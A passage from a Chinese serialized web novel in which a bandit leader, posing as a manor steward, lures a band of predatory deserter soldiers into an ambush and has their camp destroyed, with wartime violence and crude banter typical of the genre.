他们只是会一些粗浅的拳脚功夫,后来又学会了打枪放炮,对于战略战术、排兵布阵一窍不通,更别说带兵打仗了。 自己都不懂,又怎么能训练出会打仗的弟兄! “狗哥,这是咱们大家的问题,不是你一个人的问题,你千万不要自责。” “这次能暂时击退他们完全得益于咱们清风寨险要的地形和装备精良的武器,但这绝非长久之计,我有一个想法,不知道大家会不会同意。” “狗哥,什么想法?我支持你。” “我想在山寨选两个人送到军校去学习深造,你觉得怎么样?” “好啊,这个主意好,咱们这次就是吃了没文化不会打仗的亏。” “你觉得选谁合适?” 宋孬蛋想了想,说道:“狗哥,你看我怎么样?” 李二狗笑道:“孬蛋,说实话,在咱们这几个兄弟当中,我最欣赏的就是你,能力最强的也是你,我是真舍不得你离开,但为了咱们山寨的未来,你必须出去学习。” 宋孬蛋有一种士为知己者死的感觉。 “狗哥,你这么信任我,我都不知道该说什么了,反正我这条命是你的,你就看我以后的表现吧。” 李二狗知道,想上军校并没有那么容易,军校是培养军事人才的地方,毕业之后是要进入军队带兵打仗的。 “孬蛋,等从军校毕业你就是军官了,到时候恐怕咱们这个小小的山寨就留不住你这条大鲤鱼了。” 宋孬蛋急忙解释道:“狗哥,你这是说的什么话?我宋孬蛋是什么样的人你还不知道吗?就是给我个团长我也不干,我还要回到清风寨跟着你干。” 古话说,好男不当兵,好铁不打钉,生逢乱世,当兵确实不是一个好的出路,但总比当一辈子土匪强。 “孬蛋,咱们当初落草为寇是为了活命,也是身不由己,如果你有了好的去处,哥哥不仅不会怪你,还会为你高兴,因为咱们是兄弟。” 宋孬蛋被李二狗感动的热泪横流,这哪是大哥,这是亲爹啊。 “狗哥,你什么都别说了,我宋孬蛋这辈子跟定你了。” “计划赶不上变化,以后怎么样咱们都不能确定,现在唯一能做的就是做好当下,等过段时间我亲自去省城找找吴爷,这事还得请他老人家帮忙,你和清明一起去,这小子我看是个难得的人才。” “好,一切都听你的,不过,狗哥,眼下还有一件要紧事,我想这群溃兵肯定不会善罢甘休,我们得想一个万全的办法彻底消灭他们才行。” “嗯,你说得对,不彻底消灭他们,咱们肯定难以安生。”李二狗想了想,“孬蛋,你先去安排兄弟们抓紧把毁坏的寨门和院墙修复好,晚上我们在议事厅一起想想办法。” 宋孬蛋领命而去,李二狗继续坐在后山悬崖想办法。 一直到天黑,李二狗才下了山。 宋孬蛋等人已经在议事厅等候。 “咱们这次彻底和那群溃兵结下了梁子,大家都说说吧,接下来我们怎么办?” 陈老三抢先说道:“狗哥,没说的,坚决消灭他们!” “对!不是他死就是我亡!” “干就完了!” 李二狗无奈地叹了口气,他用手指敲了敲桌面。 “大家注意,咱们现在不是讨论要不要消灭他们的问题,是讨论如何消灭他们的办法,大家不要脱离了主题。” 一提到办法,所有人都沉默了。 李二狗本来就很郁闷,看大家又都低着头不说话,直接说道:“大家都散了吧,老三和孬蛋留一下。” 最近一段时间,李二狗有事总是找宋孬蛋商量,陈老三有种被抛弃的感觉,听到李二狗让他也留下,脸上的笑意挡都挡不住。 “老三,你他娘吃蜜蜂屎了,有什么好笑的?” 陈老三赶紧忍住笑,不敢出声。 “今天我们打退了那股溃兵的进攻,他们短时间内可能不会再来,但我们千万不能大意,寨门还没有修好,更加不能大意。” 陈老三急忙解释道:“狗哥,寨门和院墙损毁比较严重,我已让兄弟们连夜修复,明天应该就能修好。” “老三,你不要做甩手掌柜,一定要亲自盯着。” “放心吧,狗哥,我一会就去现场盯着。” “孬蛋,晚上一定要加强警戒,把前沿警戒哨放到山下,还要多派几组,叮嘱他们一定不能大意,我担心那伙人会趁夜摸上山。” “我明白了,狗哥。不过我觉得那群溃兵晚上肯定不敢上来,他们对这里人生地不熟,要是夜里敢来那就是送死!” 第254章 溃兵来到胡家大院 李二狗最担心的就是麻痹大意,他再次嘱咐道:“还是小心点为好,那个段团长毕竟是指挥过一个团的人,我们千万不能小觑。” “放心吧,狗哥,我这就去安排。” “好,那我就回去了,明天一早我得去趟县里。” “那我派几个人送你吧?” “不用,人多反而不安全。” 李二狗独自一人骑马下了山。 经过瞎子河时,突然路上拉起一根缰绳,李二狗连人带马摔倒在地。 还未等他反应过来,几条枪已经对准了他。 “不许动!” 李二狗感觉五脏六腑都被摔了出来。 他抬头一看,几个穿着破烂军服的士兵举枪对准了他,李二狗倒吸一口凉气,真是冤家路窄,竟在这里碰上了。 “老总,你们……你们这是做什么?” “做什么?我倒要问问你深更半夜的做什么?一看就不是什么好东西,快说,你是不是清风寨的土匪?” “土匪?哎吆,各位老总您可别吓唬我,我最怕的就是土匪,我怎么会是土匪呢?” 一个军官模样的人走上前,借着月光审视了李二狗一番。 “你不是土匪?那你深更半夜地跑到这里来做什么?” “老总,不瞒您说,我是胡家大院的管家,刚从县城办完事回来。” “你是胡家大院的管家?谁能给你证明?” “老总,我自己给自己证明我是胡家大院管家您看行不行?” “你他娘的忽悠老子呢?信不信我一枪崩了你?” 李二狗装作非常害怕的样子。 “老总,别开枪,您看这里除了你们又没有别人,除了我自己之外,确实没人能给我证明。” 一个士兵凑近这个军官,低声说道:“营长,我听说这胡家大院是仙人洞镇的大户人家,离这里也不远,要不然咱们走一趟?弟兄们都好几天没见荤腥了。” 营长立马明白了这名士兵的意思。 “你说你是胡家大院的管家,我们认为你是清风寨的土匪,你让我们很为难啊,要不这样吧,我们辛苦辛苦,跟你去趟胡家大院。” 李二狗心想,这群兵痞肯定是想去胡家大院打秋风,损失点金钱倒没什么,他最担心的是胡家大院的女人,这都是一群没有人性的东西。 但如果拒绝,他们就会把自己当成清风寨的土匪当场枪毙! “怎么?心虚了?不敢让我们去核实吗?我看你就是清风寨的土匪!” 一个士兵用枪口顶在李二狗的胸口,“咔嚓”一声拉动了一下枪栓。 “不是,不是,我不是这个意思,老总们如果不嫌辛苦,我欢迎各位老总到我们胡家大院作客。” “那你就在前面带路吧。” 一路上,李二狗心中想好了几个紧急预案,甚至做好了和他们同归于尽的打算,他将誓死保护胡家大院女人的清白。 很快就到了仙人洞镇,胡家大院角楼上的人远远看到一群衣衫褴褛的士兵押着李二狗,赶紧去向张二驴汇报。 张二驴站在角楼上,拿出望远镜,果然看到李二狗,还有他身后跟着的七八个士兵。 李二狗远远地看到角楼上有一个人正拿着望远镜看向自己,料定是张二驴。 他双眼凝视着张二驴的方向,嘴唇说出“女人”两个字的口型。 张二驴的娘是聋哑人,他从小就会看口型。 “女人……” 他嘴里反复念叨着这两个字,李二狗说女人是什么意思? 张二驴再次拿起望远镜,李二狗的唇形还是“女人”两个字。 张二驴突然明白了。 “快去向大奶奶和二奶奶报告,让她们待在自己院子里,千万不要出来。” 安排完这些,张二驴又对角楼上的人说道:“把子弹上膛,一会听我指挥。” 张二驴从角楼上下来,又特意嘱咐了几个家丁见机行事。 在李二狗的带领下,众人走到胡家大院门口。 这名营长是一名久经战场的老兵,他早已注意到两侧角楼里的机枪。 “李管家,您回来了。” 张二驴亲自开门出来迎接。 “二驴,快去吩咐厨房准备酒菜,我要好好招待这几位老总。” 营长回头吩咐道:“你们两个留在这里。” “是!” 李二狗忙说道:“老总,到了胡家大院您就放心吧,土匪不敢来。” “李管家,小心驶得万年船,还是小心为好。” 李二狗便不好再坚持。 “老总,里面请。” 进入院子,营长一边走一边观察着院里的情况,看到家丁们一个个拿着枪,神情严峻,心想,这个胡家大院还真不是一般的地主大院,要是动起手来,他们还真不是对手。 “老总,请坐,饭菜很快就做好,您先喝点茶等一会。” “李管家,看你们胡家大院很气派啊,看家护院的家丁也不少,还有机枪,在江东得算数一数二的大院了吧?” “哪里哪里,这都是我们老爷祖辈传下来的院子,这几年闹饥荒,日子也是不好过。” “呵呵,你们老爷呢?怎么不见他出来啊?” “老总莫怪,我们老爷生病了,在省城医院住院呢。” “那现在这个大院就李管家你说了算?” “老总说笑了,我只不过是一个管家罢了,哪能做主子的主!” “我们也是初到江东,有什么得罪你的地方,还请李管家见谅。” “不敢不敢,老总肯赏光到我们胡家大院,是我们胡家大院的莫大光荣。” “哎,人穷志短,马瘦毛长,如今我们落了难,什么礼义廉耻、仁义道德也就都顾不得了。” 李二狗明显听出了威胁之意。 “老总是带兵之人,走南闯北的肯定见多识广,我们如果有做得不对的地方,请老总指出来,我们一定改正。” “哈哈,李管家,你是个痛快人,很对我的胃口。” “老总过奖了,我从小就崇拜军人,见到您就像见到了偶像一般。” “哈哈,李管家是个聪明人,你这个朋友我是交定了。” “老总看得起我,我荣幸之至,荣幸之至。” 第255章 十万火急之事 这时,张二驴走了进来。 “李管家,饭菜都准备好了。” “老总,请,咱们边吃边聊。” 来到厢房,里面摆了满满一桌子的鸡鱼肉蛋。 “老总,让弟兄们一起来吃吧?” “好,今天就不讲究那些俗套了,大家都一起来吧。” 李二狗吩咐道:“二驴,去给门口的两个兄弟送两只烧鸡和一壶酒,一定要照顾好。” 李二狗故意把“照顾”二字说得很重,张二驴立刻心领神会。 这群溃兵是真饿了,风卷残云般把一桌子菜吃了个底儿掉。 一个士兵眼珠子滴溜溜盯着端菜的小丫鬟,忍不住伸手摸了一把她的屁股,吓得丫鬟尖叫着跑了出去。 营长一巴掌扇在那个士兵脸上。 “娘的,少给老子丢人,小心我骟了你!” “营长,咱们可有日子没见荤腥了,何不……” 李二狗沉默着没有说话,他心中早已做好准备,如果他们敢动胡家大院的女人,只能拼个鱼死网破。 “没见识的东西,这一桌子肉还不够你吃的?少他娘给老子惹事,不想吃给老子滚!” 这个士兵见状只能低着头啃鸡腿,不敢再说话。 李二狗知道,这是角楼上的两挺机枪起到了作用。 “老总,要不要再上点烧鸡?” 营长摆了摆手,说道:“不用了,麻烦李管家再准备几只烧鸡,我带回去给我们团长尝尝。” 李二狗说道:“老总,放心,早就安排好了,今晚有点仓促,明天我再让食堂杀两头猪,我亲自给老总送去军营。” “哈哈,李管家,你这人可交,对我熊大的脾气。” 原来这个营长叫熊大! “熊营长客气了,这都是我们应该做的。” “李管家,多有打扰,我们也吃饱喝足了,就不打扰了。” “二驴,快去把烧鸡拿来,让老总们带回去。” 李二狗又把熊大拉到一边,把一卷大洋塞到他手中。 “熊营长,一点小意思,请您笑纳,以后还请多照顾我们胡家大院。” 熊大掂了掂手里的大洋,笑道:“让李管家破费了,放心,以后只要有我老熊在,没人敢欺负你们。” “谢谢熊营长,明天我一定把猪肉给兄弟们送去。” 送走这群瘟神,张二驴骂道:“这群王八蛋,吃完还得兜着走!” “二驴,这群人一旦沾染上,想甩都甩不掉,我担心他们以后会常来的。” “咱们机枪也不少吃素的,大不了干他娘的!” 李二狗和这群溃兵交手之前,也是张二驴这个态度,人在吃亏之前,总是会过高的估计自己。 “二驴,这些人都是一群杀人不眨眼的恶魔,咱们能不招惹还是尽量不要招惹他们的好。” “狗哥,你刚才不是没看见他们看见女人的眼神,要不是碍于咱们的机枪,我想他们今晚肯定不会这么老实。” 这正是李二狗担心的。 这次他们只有七个人,如果下次来一百个,来两百个,机枪还能起到震慑作用吗? 必须尽快消灭这群溃兵,免得夜长梦多! 第二天,李二狗亲自带人给溃兵驻地送去了两头杀好的猪和一些粮食。 熊大为了邀功,便说道:“李管家,我带你去见见我们团长。” 他带着李二狗来到团长段正德住的房间。 “团长,这就是我和您提起的胡家大院管家李二狗,刚刚给咱们送来两头猪和粮食。” “段团长,久仰久仰。” 段正德突然觉得李二狗的声音有些熟悉,好像在哪里听到过。 “李管家,咱们以前在哪里见过吗?你的声音听起来好耳熟。” 李二狗心里“咯噔”一下,心想坏了,那天晚上自己和段正德有过一段对话,他可能听出自己的声音了。 “我虽仰慕段团长已久,但今日还是第一次有幸得见。段团长有所不知,我们山里的人说话都带着一股土味,猛一听可能都一个味道,哈哈。” 熊大附和道:“哈哈,你还别说,你们这边的人说话还真带一股土味,连女人说话都是那个味。” 段正德想了想,李二狗说的确实有道理。 这时,营地外面传来一阵女人的哭喊声。 “团长,兄弟们又给您打野回来了,我出去看看。” 李二狗不想在段正德面前多说话,以免暴露自己的身份,便说道:“那我也不打扰段团长了,下次再来拜会。” “熊营长,替我送送李管家。” 出了段正德房间,李二狗看到几个溃兵抓了两个妇女回来,她们虽被捆住手脚,但嘴里仍不停地哭喊着。 溃兵们像一群饥饿的野狼,眼里冒着绿光,眼睛直勾勾地看着这两个女人。 李二狗知道等待她们的将是什么,但他却只能眼睁睁地看着无能为力。 “让李管家见笑了,兄弟们都是如狼似虎的年纪,也是没有办法,他们宁愿三日不吃饭也要玩玩女人。” 李二狗脑海中突然灵光一现。 “熊营长,我看营地里这么多兄弟,这几个女人远远满足不了需求啊,等我回去给兄弟们想想办法。” “真的吗?那就太感谢李管家了。” “我一定尽力而为,熊营长等我的好消息吧。” 李二狗出了营地,直奔清风寨。 寨门已经修好,坍塌的墙体也已修复完毕。 陈老三正在指挥着人清理杂物,看见李二狗,急忙上前邀功。 “狗哥,你看这新寨门怎么样?门板我让用了几百年的柏树,保证炮弹都炸不毁。” “老三,这次你做得不错,回头我让望冬好好夸夸你。” 李二狗说完就进了山寨,陈老三摸着脑袋自言自语道:“我自己的媳妇还用你来安排吗?” 李二狗回到家,李素文穿着一身黑色练功服,腰带上别着两把驳壳枪,正要出门训练。 “素文,你先等会儿,我有事和你商量。” “什么事?我这急着去训练呢,姐妹们还等着的。” “十万火急之事,快进屋。” 李素文以为李二狗想和她行床帏之事。 “二狗,这大白天的你能不能忍一忍?等我回来再好好陪你。” “素文,你严肃点,我有正经事和你说。” 第256章 从我们的尸体上踏过去 看到李二狗不苟言笑的样子,李素文心知自己这次错怪了他,便笑脸说道:“好好好,我们进屋说。” 当李二狗把自己的计划告诉李素文之后,她兴奋地举双手赞成。 “太好了,二狗,我正想带着姐妹们检验一下这段时间的训练成果。” 李二狗看着李素文自信又兴奋的样子,仿佛看到了几天前无知的自己。 人在没有经受挫折之前,总是把自己想象的太强大,而把对手想象的不堪一击。 自己吃过的亏,决不能让李素文再吃一次。 “素文,这是打仗,不是闹着玩的,弄不好会丢了性命,你不能去,必须留在清风寨!” 李素文一听,急得嗓门都大了起来。 “二狗,你这是什么意思?我是队长,队员们都去了,我怎么能不去?” 李二狗急忙安慰道:“素文,你先别着急,听我说,这次你们娘子军只是充当诱饵,不参加实际作战行动,你还是别去了。” “既然不参与作战,那你为什么不让我去?” 李素文问得李二狗哑口无言。 “万一行动失败,我担心……” “你担心什么?我的命金贵,她们的命就是蝼蚁吗?” “素文,我舍不得让你冒险。” “二狗,你要知道,我是她们的队长,咱俩又是这种关系,我要不去,以后我还有什么脸继续带领她们?我自己都会瞧不起自己!” 李二狗不得不承认李素文的话确实有一定的道理,但是他还是舍不得李素文去冒险。 “素文,要不然这样,娘子军不用全体都去,从里面挑选出二十个人来就行。” “即使只挑选一个人去,那也得我去,因为我是队长。” 李二狗简直对李素文刮目相看,没想到她平时柔柔弱弱的一个人,关键时刻竟毫不退缩,不愧是自己的女人。 李二狗紧紧抱着她,说道:“素文,你太令我感动了。” “嘻嘻,李二狗的女人总不能是个窝囊废吧?我不能给你丢人啊。” 李素文呼出的气息令李二狗心里痒痒的。 “素文,你真好,咱们去床上交流交流吧?” “你讨厌,”李素文从李素二狗怀里挣脱出来,“人家还有正事呢,晚上再说。” 李二狗无奈地笑了笑,说道:“先不要告诉她们,等你们到了那里再告诉她们,免得消息泄露。” “嘁!你也太看不起我们娘子军了,我对她们的首要要求就是忠诚可靠。” 李素文走后,李二狗召开了紧急寨务会。 会上他把自己的计划告诉了大家,大家无不拍手称快。 “狗哥,这次我们一定要彻底铲除这群兵痞祸害,还江东百姓一片蓝蓝的天。” “做成此事之后,狗哥配享太庙!” “狗哥,我已经决定了,从此以后我要对你刮目相看!” “我早就对狗哥刮目相看了!” “我对狗哥五体投地!” “我对狗哥顶礼膜拜!” …… “好了,都别他娘的扯淡了,此事要想做成并没有大家想象的那么简单,大家要做好打硬仗的心理准备。我只要求你们记住一条,一定不能让他们伤害到娘子军,她们可是大家未来的媳妇。” “放心吧,狗哥,要想伤害她们,那只有一个可能,从我的尸体上踏过去。” “对,从我们的尸体上踏过去!” “好,我要得就是大家这股劲头,分头去准备吧。” 当天下午,清风寨的娘子军在李素文的带领下,全体前往刚刚修葺一新的青山寨驻扎。 李二狗回到胡家大院。 “狗哥,那个熊营长又来了。” 李二狗微微一笑。 “他这是打秋风打上瘾了,二驴,让食堂准备好酒好菜。” 李二狗快步来到会客厅,熊大正坐在椅子上吃水果。 “熊营长,实在是不好意思,让您久等了。” “李管家不用客气,我是不请自到,是我打扰你了。” “哪里哪里,熊营长能来我们胡家大院,是我们莫大的荣幸,我想请还怕您不来呢。” “哈哈,李管家真是豪爽之人,我熊某人就喜欢交你这样的朋友。” “能与熊营长这样的英雄人物交朋友,是我李二狗的荣幸,熊营长,今天我一定要多敬您几杯。” “哈哈,李管家,我们部队有纪律,不能随便喝酒。” “那就少喝一点,熊营长一定要让我表达对您的敬仰之情才好。” “哈哈,那咱们就少喝点,李管家的热情让我有一种宾至如归的感觉啊。” “熊营长客气了,饭菜都准备好了,咱们过去吧。” 熊大这次来胡家大院竟然只带了两名士兵随行,也许在他眼里,一个小小的胡家大院肯定不敢对他有非分之想! “熊营长,您带来那两位兄弟是和咱们一起还是我再单独安排一桌?” “随便给他们安排安排就行,别让他们打扰了咱们兄弟的雅兴。” 李二狗便吩咐张二驴亲自去陪那两名士兵,给足了熊大面前。 一个丫鬟站在旁边,给熊大斟满了酒,熊大毫不避讳李二狗在场,眼睛直勾勾地盯着丫鬟。 丫鬟被他看得脸颊通红,眼巴巴地看向李二狗求救。 “你先下去吧,我和熊营长说会话,没有我的命令,不要让任何人进来打扰我们。” 丫鬟如释重负,赶紧退了出去。 熊大眼睛一直盯着丫鬟,直到她关上房门才意犹未尽地收回贪婪的目光。 “嘿嘿,让李管家见笑了,我们这些当兵的,有今天没明天的,及时享乐才是人生真谛。” “理解理解,大家都是男人嘛,来,熊营长,咱们先喝酒。” 酒过三巡,菜过五味之后,熊大说道:“李管家,我这次来是奉我们团长的命令,希望你能继续支持我们。” 李二狗问道:“不知道段团长的命令是?” “我们初到江东,人生地不熟,各方面的情况还不熟悉,也不想去打扰县里的领导,所以面临着众多的困难,希望你们胡家大院能慷慨解囊,帮助我们度过这个难关,当然,我们也不会白让你们帮忙,只要有我们在,保证不会再让土匪来骚扰你们胡家大院。” 第257章 里面住着一群女土匪 李二狗一副恭维的表情。 “那我代表胡家大院谢谢熊营长和段团长,只是不知道我们得怎么支持你们?” “李管家放心,我们要的并不多,每个星期只需给送四千斤粮食、五百斤鸡蛋、一百只鸡、十头猪,再送一些萝卜白菜等蔬菜就够了。” “确定不多,呵呵。”李二狗暗骂一句操你祖宗十八辈,这是把胡家大院当成你们后勤基地了。 熊大没想到李二狗竟答应地如此痛快。 “李管家,你办事真是敞亮,我代表全团官兵感谢你,来,我们再干一杯。” 李二狗心想,马上就要送你们见阎王了,你们现在就是要一座金山我也答应你们。 “熊营长客气了,你们为了百姓抛头颅洒热血,我们出这点力又算得了什么?熊营长还有什么要求尽管提,我一定尽力满足。” 这下可把熊大高兴坏了。 “嘿嘿,李管家,那我就不客气了,你也知道,兄弟们吃饱喝足之后就会产生其他想法,现在附近的老百姓都跑光了,想找几个年轻漂亮的女人实在不容易,你看能不能给我们想想办法……” 看着熊大猥琐的表情,李二狗立刻心领神会。 “熊营长,我正好有一个好消息要告诉你。” “什么好消息?” “离这里不远,有一个叫青山寨的土匪山寨,里面住着一群女土匪,她们个个长得年轻貌美、胸大臀肥,而且足有五六十人,你们要是能拿下这个山寨……嘿嘿,熊营长,你懂得。” 熊大听得两眼放光,哈喇子都流了下来。 “这不他娘的是一个女儿国吗?李管家,你这个消息可靠吗?” 李二狗拍着胸脯保证道:“熊营长,这种事我怎么敢乱说?您放心,消息绝对真实可靠!” 熊大兴奋地摩拳擦掌。 “李管家,你可真是从根上关心我们兄弟啊,以后你就是我熊大的兄弟,咱们有福同享,有难同当。” 李二狗纳头就拜。 “小弟拜见熊大哥。” “好好好,二狗兄弟快快请起,我现在就回去向我们段团长汇报。” 李二狗知道,他们在进攻青山寨之前肯定会先派几个探子去一探虚实。 “大哥,何必急在这一时半会儿呢,明天再去也不迟,今晚我还给你安排了特殊项目。” 熊大一听,顿时乐歪了嘴。 “知我者,二狗兄弟也。” 喝完酒,李二狗吩咐张二驴架上马车,拉着熊大去了一趟县城的窑子。 熊大回到军营驻地,把青山寨的消息告诉了段正德。 段正德听后也是双眼放光,五六十个年轻漂亮的女人,哪个男人听了都受不了这种诱惑。 “老熊,这个李二狗人怎么样?他说的话到底可不可信?” 熊大拍着胸脯保证道:“团长,您就放心吧,李二狗这人非常讲义气。” 段正德作为团长,比作为营长的熊大多了几分城府。 “老熊,此事关系重大,你马上派两个人伪装成附近村子的难民,去青山寨探探虚实,我们一定不能打无把握之仗。” “还是团长英明,我这就去安排。” 熊大安排了自己两名心腹,伪装成附近村子的难民,背着竹筐直奔青山寨。 从他们一出营地,李二狗派出的探子就盯上了他们。 两个探子悄悄来到青山寨脚下,一路上并没有发现任何异常。 “兄弟,这一路上怎么这么顺利?连只鸟都没有。” “能走得动路的人都出去讨饭了,哪里还有什么人?别废话了,咱们赶紧上山吧,我总感觉这里阴森森的。” “女人多的地方就阴气重,那么多女土匪,咱们可拉馋了,哈哈。” “女土匪再多也得他们当官的先选,挑剩下的才能轮到咱们兄弟。” “有就不错了,还挑挑拣拣的,关上灯都一个样。” “看你狗日的那没出息的样子,我看现在就是给你一头母猪,你也能拱上去,哈哈。” “去你娘的,你也比我好不到哪里去!昨晚你自己在被窝里干了什么,别以为我不知道,哈哈。” “你真他娘的是狗鼻子,什么都瞒不了你,好了,别废话了,咱们快点上去吧。” 两人没敢直接走上山的山路,而是钻进了旁边的树林子。 半个时辰后,两人才艰难地爬到离青山寨寨门不远处的一个大石坡后面。 “你快看,站岗的都是女人,长得可真带劲!” “小点声,站岗的是女人,也不能证明山寨里面都是女人,咱们得想办法走近了看一看。” “怎么进?小心她们崩了你。” “咱们就去要个饭,她们还能枪毙了咱们?” “我怕她们非礼咱哥俩,嘿嘿。” “去你娘的,想得倒挺美,走,去寨门口看看再说。” 两人从树林里钻出来,走到山路上,直接来到寨门口。 “站住,干什么的?” 一个女人穿着一身黑衣,束着腰带,腰带里别着一把驳壳枪,显得英姿飒爽。 “姑奶奶别开枪,我们是附近的村民,实在太饿了,求求各位姑奶奶给口吃的吧。” “你们好大的胆子,竟敢到青山寨来讨饭?” “都快活不下去,哪还顾得了这些,姑奶奶,求求你们发发善心,给我们一口残羹冷炙吃吧。” 说完跪下来,“砰砰”磕了两个响头。 女土匪捂着嘴笑道:“看你们两个大男人,为了一口吃食,竟这般没出息,在这等着,我去给你们拿两个馒头。” “谢谢姑奶奶,谢谢姑奶奶。” 两个人相互使了个眼色,其中一人通过寨门向里望去。 寨子广场上有两排女人正在进行队列训练,并没有看到一个男人。 另一人腆着脸,和一个站岗的女土匪搭讪。 “姑奶奶,我们哥俩实在活不下去,想投奔你们青山寨,麻烦您和你们大当家的说一声,就收了我们吧。” 女土匪抿着嘴笑道:“你们要想投奔我们青山寨,必须先成为太监才行,你们愿意吗?嘻嘻。” “太监?姑奶奶您可别吓唬我们,又不是入宫,咋还要成为太监呢?” 第258章 段正德中计 女土匪笑骂道:“睁开你的狗眼看清楚,我们青山寨只收女人,不收男人。” “啊?为什么不收男人?” “因为我们大当家的恨极了男人,我懒得和你废话,待会你们拿到馒头赶紧走,让我们大当家的看见,肯定阉了你们。” 两人吓得立马捂住裤裆,女土匪咯咯笑了起来。 “看你俩那没出息的样子,还是我们大当家的说得对,男人都是靠不住的东西。” “姑奶奶,瞧您说的,一杆子打翻一船人,男人也有好东西。” “你是好东西?” “是啊,我就是好东西。” “看你这副不要脸的样子就不是个好东西。” “嘿嘿,姑奶奶您可真幽默,不知道咱们山寨有多少姑奶奶啊?” 女土匪警惕地问道:“你问这个干什么?” “姑奶奶您别误会,我是想让我老娘、我媳妇、我妹子都来投奔你们,在家就快饿死了,可我又担心你们山寨人太少会不安全。” “这个你不用担心,我们山寨有六十多个姐妹,个个武艺高强,没人敢欺负我们,你就放心让你老娘媳妇都来吧。” 这时,先前进去拿馒头的女土匪走了出来,把几个馒头丢给他们。 “快走吧,下次别再来了,我们大当家的最恨男人,小心丢了性命。” “谢谢姑奶奶,谢谢姑奶奶。” 两人千恩万谢之后,拿着馒头下了山。 这一切都被拿着望远镜在山顶观望的李二狗看在眼里。 “孬蛋,他们经过这番侦察,今天晚上肯定会采取行动,你马上吩咐下去,照计划行事。” 宋孬蛋越发佩服李二狗超出常人的智慧。 “好的,狗哥,我马上去办。” 夜幕降临时,段正德亲自带领一队人马出了营地。 “老熊,告诉弟兄们待会下手轻点,能不放枪尽量不要放枪,一定要捉活的,你懂我的意思吧?” 熊大嘿嘿一笑,说道:“团长,您就放心吧,我早就告诉弟兄们了,待会我们悄悄摸进寨子,力争把她们全部活捉。” 一行人很快就来到青山寨脚下,上山只有一条很窄的山路。 段正德看着陡峭的山路,心生疑窦。 “你们两个都打探清楚了吗?山寨里真的只有女人?” “团长,真的只有女人,我们亲眼看见的,千真万确!” “老熊,为了以防万一,你带几个兄弟先行上山,咱们拉开一段距离。” 熊大暗骂道,又他娘的让我打前阵,好事从来想不着我。 “好的,团长,你们几个跟我来。” 熊大带着几个人就率先上了山,段正德带领大部队远远跟着,很快他们就来到离寨门口不远处的一个大石坡后面。 “营长,您看,寨门上站岗的是两个女人。” 熊大放眼望去,寨门上挂着的两个大红灯笼在随风摇摆,灯笼下面站着的确实是两个女人。 不一会儿,段正德带领大部队就赶了上来。 “团长,您看,寨门口只有两个女人站岗,真是天助我们呀。” “哼哼,女人毕竟是女人,成不了什么大气候,熊营长,你带两个人摸上去,先解决掉那两个岗哨,然后咱们一起冲进去。” 熊大心里忍不住骂道,他娘的,怎么每次有危险的事都让老子去干! “团长,您就擎好吧,你们两个跟我来。” 熊大带着两个人悄悄摸了上去,快接近寨门时,寨门上的两个灯笼竟莫名其妙的灭了。 熊大一抬手,几个人全部趴在原地不动。 只听到一个女人说道:“二丫,灯笼没油了,我去换煤油。” “璇儿姐,我一个人怕,我和你一起去吧?” “嘻嘻,你可真是个胆小鬼,走吧,我们一起去。” 熊大听到她们的对话,差点乐出声来,真是刚想睡觉,就有人送来枕头,他仿佛看到了一群年轻貌美的女人正躺在床上向他招手。 “你们俩爬进去打开寨门,我去向团长报告。” 两个士兵轻易爬进山寨并从里面打开了寨门,段正德带领着大队人马赶到。 “进去之后注意脚下,不到万不得已千万不要打枪,务必活捉她们,你们几个留下,其他人跟我来。” 寨门口留下两个人,其他人跟着段正德冲了进去。 他们很快来到山寨正中心的一个广场上。 “团长,您看,她们肯定都住在那排房子里。” 段正德狞笑道:“今晚我们就在这里办了这群小娘们。” “给我打!” 黑暗中,突然发出一声呐喊,广场四周顿时响起了密集的枪声。 机枪、冲锋枪、步枪、驳壳枪同时喷出长长的火舌,无数颗手榴弹扔到广场中央。 偌大的广场上无遮无拦,士兵们成群地倒在血泊中。 “团长,我们中计了。” “想活命的跟着老子冲出去!” 溃兵毕竟也是兵,短暂的慌乱之后他们迅速组织反击,几个人掩护着段正德向寨门口冲去,而熊大则被机枪打成了筛子。 段正德带领着十几个人冲出寨子。 宋孬蛋带着人紧追不舍。 月黑风高,山路崎岖,冲出去的溃兵有好几个摔到山下,当场毙命。 快到半山腰时,陈老三、张石头等人突然抱着一挺机关枪从两侧树林里杀出,把这群溃兵全部消灭,段正德的胸膛被打出了无数个血窟窿。 于此同时,一群人赶着一队马车来到溃兵驻扎的营地。 “站住!你们是什么人?” “老总,别开枪,我们是胡家大院的,来给你们送粮食和猪肉。” “怎么这么晚才送来?你们明天早上再来吧!” “哎呀老总,这猪肉是我们好不容易才在县城买到的,我们赶了好久的路才走到这里,您行行好让我们进去吧,省得明天还得再跑一趟。” “以后早点送来,进来吧,下不为例。” “谢谢老总,快点把马车赶进去。” 哨兵打开门放马车进去,张二驴掏出一盒烟。 “来,老总,抽根烟醒醒盹,这天寒地冻的,你们辛苦了。” “你们这破地方可真他娘的冷!” 哨兵接过烟叼在嘴里,张二驴立即划了一根火柴给他点上。 第259章 嫂子包的饺子最合我的胃口 岗哨刚抽了一口烟,张二驴突然捂住他的嘴,一刀子捅进了他的胸口。 另一个哨兵见状,手忙脚乱地要举枪,还未等他把枪举起来,身后突然出现一只大手捂住他的嘴,一刀割断了他的喉咙。 “把这些兵痞全部杀了,一个不留!能带走的东西全部带走,然后一把火把这个鸟地方给我烧了。” 营地里很快响起一阵机枪扫射的声音,剩下的十几名溃兵还在睡梦中就送了命。 溃兵营地燃起冲天大火,照亮了半个夜空。 张二驴带领民团队员,拉着整车的武器和粮食,消失在夜色中。 二三百人的队伍突然在一夜之间销声匿迹,连营地都被烧得片甲不留,震动了整个江东县。 孙竹刚亲自来到胡家大院。 “兄弟,你和大哥说实话,那群溃兵神秘消失的事是不是你们清风寨干的?” 李二狗面不改色心不跳,微微一笑很轻松。 清风寨能神不知鬼不觉地消灭一支二三百人的队伍,这件事要是让王正直和孙竹刚知道了,肯定晚上睡觉都睡不踏实。 “大哥,你也太瞧得起清风寨了吧,一夜之间消灭二三百人的队伍,我们哪有那本事?” “兄弟,这整个江东县除了你们清风寨,其他人就更没有可能了!” “大哥可真瞧得起我们清风寨,我们就百十来人,实在没有任何理由去和这群溃兵拼命,你说是吧?” “那还能有谁呢?”孙竹刚嘀咕道。 孙竹刚内心很恐惧,在江东的地面上,一支二三百人的队伍被全歼,他一个警察局局长竟毫不知情。 警察的战斗力和正规部队比起来,简直是天壤之别! 这就意味着他们要想消灭警察局也是轻而易举的事情。 “大哥,你担心这个做什么?这群溃兵烧杀抢掠、无恶不作,他们这是罪有应得。” 孙竹刚神色严峻,仿佛没有听见李二狗的话一般。 